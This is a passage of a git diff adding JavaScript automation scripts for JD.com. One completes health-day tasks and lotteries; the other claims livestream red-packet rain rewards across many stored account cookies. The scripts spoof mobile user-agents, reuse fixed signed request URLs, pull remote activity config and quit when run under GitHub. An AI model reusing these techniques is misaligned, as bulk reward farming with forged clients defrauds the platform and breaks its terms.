[],list1tokenArr = [],list2tokenArr = [],listtokenArr = [] +var taskid,token,helpcode; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +let tz = ($.getval('tz') || '1');//0关闭通知,1默认开启 +const invite=1;//新用户自动邀请,0关闭,1默认开启 +const logs =0;//0为关闭日志,1为开启 +var hour='' +var minute='' +if ($.isNode()) { + hour = new Date( new Date().getTime() + 8 * 60 * 60 * 1000 ).getHours(); + minute = new Date( new Date().getTime() + 8 * 60 * 60 * 1000 ).getMinutes(); +}else{ + hour = (new Date()).getHours(); + minute = (new Date()).getMinutes(); +} +//CK运行 +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i =0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + message = '' + $.isLogin = true; + $.index = i + 1; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + + await gethelpcode() + await getlist() + await Ariszy() + await zy() + + } +for(let i = 0; i < cookiesArr.length; i++){ + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + message = '' + $.isLogin = true; + $.index = i + 1; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}助力模块*********\n`); + + await control() + await userScore() +} + +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +function PostRequest(uri,body) { + const url = `https://api.m.jd.com/client.action`; + const method = `POST`; + const headers = {"Accept": "application/json, text/plain, */*", +"Accept-Encoding": "gzip, deflate, br", +"Accept-Language": "zh-cn", +"Connection": "keep-alive", +"Content-Type": "application/x-www-form-urlencoded", +"Cookie": cookie, +"Host": "api.m.jd.com", +"User-Agent": "jdapp;iPhone;10.0.6;14.4;0bcbcdb2a68f16cf9c9ad7c9b944fd141646a849;network/4g;model/iPhone12,1;addressid/2377723269;appBuild/167724;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" +} + return {url: url, method: method, headers: headers, body: body}; +} + +async function doTask(){ + const body = `functionId=harmony_collectScore&body=%7B%22appId%22%3A%221E1NYw6w%22%2C%22taskToken%22%3A%22${token}%22%2C%22taskId%22%3A${taskid}%2C%22actionType%22%3A1%7D&client=wh5&clientVersion=1.0.0` + const MyRequest = PostRequest(``,body) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.code == 0){ + console.log("\n"+result.data.bizMsg+"\n") + await $.wait(6000) + }else{ + $.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function DoTask(){ + const body = `functionId=harmony_collectScore&body=%7B%22appId%22%3A%221E1NYw6w%22%2C%22taskToken%22%3A%22${token}%22%2C%22taskId%22%3A${taskid}%2C%22actionType%22%3A0%7D&client=wh5&clientVersion=1.0.0` + const MyRequest = PostRequest(``,body) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.data.bizCode == 0){ + console.log(result.data.bizMsg+"获得"+result.data.result.score+";共有"+result.data.result.userScore+"\n") + await $.wait(4000) + }else{ + console.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function Lottery(){ + const body = `functionId=healthyDay_getLotteryResult&body=%7B%22appId%22%3A%221E1NYwqc%22%2C%22taskId%22%3A2%7D&client=wh5&clientVersion=1.0.0` + const MyRequest = PostRequest(``,body) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.data.bizCode == 0){ + console.log("\n获得"+result.data.result.userAwardsCacheDto.jBeanAwardVo.prizeName+"\n") + await $.wait(4000) + }else{ + $.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function getLottery(){ + const body = `functionId=interact_template_getLotteryResult&body=%7B%22appId%22:%221E1NYw6w%22%7D&client=wh5&clientVersion=1.0.0` + const MyRequest = PostRequest(``,body) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.data.bizCode == 0 && result.data.result.lotteryReturnCode == 0){ + console.log("\n获得"+result.data.result.userAwardsCacheDto.jBeanAwardVo.prizeName+"\n") + await $.wait(4000) + }else{ + $.log("恭喜你,抽中了0豆豆\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function Ariszy(){ + for(let j = 0; j < listtokenArr.length; j++){ + token = list2tokenArr[j] + taskid = listtokenArr[j].match(/\d+/) + $.log("TaskId:"+taskid) + $.log("Token:"+token) + await doTask() + await DoTask() + } + +} +async function zy(){ + listtokenArr.splice(0,listtokenArr.length); + list2tokenArr.splice(0,list2tokenArr.length); +} +async function control(){ + for(let i = 0; i < list6tokenArr.distinct().length; i++){ + helpcode = list6tokenArr[i] + await dosupport() + await $.wait(4000) +} +} +async function dosupport(){ + const body = `functionId=harmony_collectScore&body=%7B%22appId%22%3A%221E1NYw6w%22%2C%22taskToken%22%3A%22${helpcode}%22%2C%22taskId%22%3A12%2C%22actionType%22%3A0%7D&client=wh5&clientVersion=1.0.0` + const MyRequest = PostRequest(``,body) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.data.bizCode == 0){ + console.log(result.data.bizMsg+"获得"+result.data.result.score+";共有"+result.data.result.userScore+"\n") + await $.wait(4000) + }else{ + console.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function getlist(){ + const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body={"appId":"1E1NYw6w","taskToken":"","channelId":1}&client=wh5&clientVersion=1.0.0`) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.code == 0){ + console.log("查看任务列表\n") + let list1 = result.data.result.taskVos.find(item => item.taskId == 1) + + listtokenArr.push(1+list1.simpleRecordInfoVo.taskToken) +list2tokenArr.push(list1.simpleRecordInfoVo.taskToken) + + + let list2 = result.data.result.taskVos.find(item => item.taskId == 2) + for(let i = 0; i < list2.shoppingActivityVos.length; i ++){ + listtokenArr.push(2+list2.shoppingActivityVos[i].taskToken) +list2tokenArr.push(list2.shoppingActivityVos[i].taskToken) + } + + let list6 = result.data.result.taskVos.find(item => item.taskId == 6) + for(let i = 0; i < list6.shoppingActivityVos.length; i ++){ + listtokenArr.push(6+list6.shoppingActivityVos[i].taskToken) +list2tokenArr.push(list6.shoppingActivityVos[i].taskToken) + } + + let list4 = result.data.result.taskVos.find(item => item.taskId == 4) + for(let i = 0; i < list4.shoppingActivityVos.length; i ++){ + listtokenArr.push(4+list4.shoppingActivityVos[i].taskToken) +list2tokenArr.push(list4.shoppingActivityVos[i].taskToken) + } + + let list5 = result.data.result.taskVos.find(item => item.taskId == 5) + for(let i = 0; i < list5.shoppingActivityVos.length; i ++){listtokenArr.push(5+list5.shoppingActivityVos[i].taskToken) +list2tokenArr.push(list5.shoppingActivityVos[i].taskToken) +//$.log(list5.shoppingActivityVos[i].taskToken) + } + // $.log(JSON.stringify(listtokenArr)) + + }else{ + $.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } + +async function gethelpcode(){ + const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body={"appId":"1E1NYw6w","taskToken":"","channelId":1}&client=wh5&clientVersion=1.0.0`) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.code == 0){ + +let list11 = result.data.result.taskVos.find(item => item.taskId == 11) + + + list4tokenArr.push(11+list11.assistTaskDetailVo.taskToken) +list6tokenArr.push(list11.assistTaskDetailVo.taskToken) + + }else{ + $.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } + +async function userScore(){ + const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body={"appId":"1E1NYw6w","taskToken":"","channelId":1}&client=wh5&clientVersion=1.0.0`) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.code == 0){ + let userScore = result.data.result.userInfo.userScore + $.log("共有电力值:"+userScore+";开始抽奖"+Math.floor(userScore/100)+"次") + for(let i = 0; i < Math.floor(userScore/100); i++){ + await getLottery() + } + }else{ + $.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +//showmsg +//boxjs设置tz=1,在12点<=20和23点>=40时间段通知,其余时间打印日志 + +async function showmsg() { + if (tz == 1) { + if ($.isNode()) { + if ((hour == 12 && minute <= 20) || (hour == 23 && minute >= 40)) { + await notify.sendNotify($.name, message) + } else { + $.log(message) + } + } else { + if ((hour == 12 && minute <= 20) || (hour == 23 && minute >= 40)) { + $.msg(zhiyi, '', message) + } else { + $.log(message) + } + } + } else { + $.log(message) + } +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, "", "不要在BoxJS手动复制粘贴修改cookie"); + return []; + } + } +} +Array.prototype.distinct = function (){ + var arr = this, + result = [], + len = arr.length; + arr.forEach(function(v, i ,arr){ //这里利用map,filter方法也可以实现 + var bool = arr.indexOf(v,i+1); //从传入参数的下一个索引值开始寻找是否存在重复 + if(bool === -1){ + result.push(v); + } + }) + return result; +}; +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_live_redrain.js b/backUp/jd_live_redrain.js new file mode 100644 index 0000000..9654799 --- /dev/null +++ b/backUp/jd_live_redrain.js @@ -0,0 +1,359 @@ +/* +超级直播间红包雨 +更新时间:2021-06-24 +下一场超级直播间时间:06月25日 20:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4515551 +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js +==============Quantumult X============== +[task_local] +#超级直播间红包雨 +0,30 0-23/1 * * * jd_live_redrain.js, tag=超级直播间红包雨, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +==============Loon============== +[Script] +cron "0,30 0-23/1 * * *" script-path=jd_live_redrain.js,tag=超级直播间红包雨 + +================Surge=============== +超级直播间红包雨 = type=cron,cronexp="0,30 0-23/1 * * *",wake-system=1,timeout=3600,script-path=jd_live_redrain.js + +===============小火箭========== +超级直播间红包雨 = type=cron,script-path=jd_live_redrain.js, cronexpr="0,30 0-23/1 * * *", timeout=3600, enable=true +*/ +const $ = new Env('超级直播间红包雨'); +let allMessage = '', id = 'RRA2cUocg5uYEyuKpWNdh4qE4NW1bN2'; +let bodyList = {"6":{"url":"https://api.m.jd.com/client.action?functionId=liveActivityV946&uuid=8888888&client=apple&clientVersion=9.4.1&st=1625294597071&sign=55a8f9c9bc715d89fb3e4443b80d8f26&sv=111","body":"body=%7B%22liveId%22%3A%224586031%22%7D"}} +let ids = {} +for (let i = 0; i < 24; i++) { + ids[i] = id; +} +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + console.log('下一场超级直播间时间:06月25日 20:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4508223') + $.newAcids = []; + await getRedRain(); + + let nowTs = new Date().getTime() + if (!($.st <= nowTs && nowTs < $.ed)) { + $.log(`\n远程红包雨配置获取错误,尝试从本地读取配置`); + $.http.get({url: `https://purge.jsdelivr.net/gh/gitupdate/updateTeam@master/redrain.json`}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + let hour = (new Date().getUTCHours() + 8) % 24; + let redIds = await getRedRainIds(); + if (!redIds) redIds = await getRedRainIds('https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/redrain.json'); + $.newAcids = [...(redIds || [])]; + if ($.newAcids && $.newAcids.length) { + $.log(`本地红包雨配置获取成功,ID为:${JSON.stringify($.newAcids)}\n`) + } else { + $.log(`无法从本地读取配置,请检查运行时间(注:非红包雨时间执行出现此提示请忽略!!!!!!!!!!!)`) + return + } + // if (ids[hour]) { + // $.activityId = ids[hour] + // $.log(`本地红包雨配置获取成功,ID为:${$.activityId}\n`) + // } else { + // $.log(`无法从本地读取配置,请检查运行时间(注:非红包雨时间执行出现此提示请忽略!!!!!!!!!!!)`) + // $.log(`非红包雨期间出现上面提示请忽略。红包雨期间会正常,此脚本提issue打死!!!!!!!!!!!)`) + // return + // } + } else { + $.log(`远程红包雨配置获取成功`) + } + for (let id of $.newAcids) { + // $.activityId = id; + if (!id) continue; + console.log(`\n今日${new Date().getHours()}点ID:${id + }\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + let nowTs = new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 + // console.log(nowTs, $.startTime, $.endTime) + // await showMsg(); + if (id) await receiveRedRain(id); + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function getRedRain() { + let body + if (bodyList.hasOwnProperty(new Date().getDate())) { + body = bodyList[new Date().getDate()] + } else { + return + } + return new Promise(resolve => { + $.post(taskGetUrl(body.url, body.body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data && data.data.iconArea) { + // console.log(data.data.iconArea.filter(vo => vo['type'] === 'anchor_darw_lottery').length && data.data.iconArea.filter(vo => vo['type'] === 'anchor_darw_lottery')[0].data.lotteryId) + let act = data.data.iconArea.filter(vo => vo['type'] === "platform_red_packege_rain")[0] + if (act) { + let url = act.data.activityUrl + $.activityId = url.substr(url.indexOf("id=") + 3); + $.newAcids.push($.activityId); + $.st = act.startTime + $.ed = act.endTime + console.log($.activityId) + + console.log(`下一场红包雨开始时间:${new Date($.st)}`) + console.log(`下一场红包雨结束时间:${new Date($.ed)}`) + } else { + console.log(`\n暂无超级直播间红包雨`) + } + } else { + console.log(`\n暂无超级直播间红包雨`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function receiveRedRain(actId) { + return new Promise(resolve => { + const body = { actId }; + $.get(taskUrl('noahRedRainLottery', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === '0') { + console.log(`领取成功,获得${JSON.stringify(data.lotteryResult)}`) + // message+= `领取成功,获得${JSON.stringify(data.lotteryResult)}\n` + message += `领取成功,获得 ${(data.lotteryResult.jPeasList[0].quantity)}京豆` + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n领取成功,获得 ${(data.lotteryResult.jPeasList[0].quantity)}京豆${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } else if (data.subCode === '8') { + console.log(`领取失败:本场已领过`) + message += `领取失败,本场已领过`; + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskGetUrl(url, body) { + return { + url: url, + body: body, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": `https://h5.m.jd.com/active/redrain/index.html?id=${$.activityId}&lng=0.000000&lat=0.000000&sid=&un_area=`, + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function taskPostUrl(function_id, body = body) { + return { + url: `https://api.m.jd.com/client.action?functionId=${function_id}`, + body: body, + headers: { + 'Host': 'api.m.jd.com', + 'content-type': 'application/x-www-form-urlencoded', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167408 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + //"Cookie": cookie, + } + } +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&_=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": `https://h5.m.jd.com/active/redrain/index.html?id=${$.activityId}&lng=0.000000&lat=0.000000&sid=&un_area=`, + "Cookie": cookie, + "User-Agent": "JD4iPhone/9.4.5 CFNetwork/1209 Darwin/20.2.0" + } + } +} + +function getRedRainIds(url = "https://raw.githubusercontent.com/gitupdate/updateTeam/master/redrain.json") { + return new Promise(async 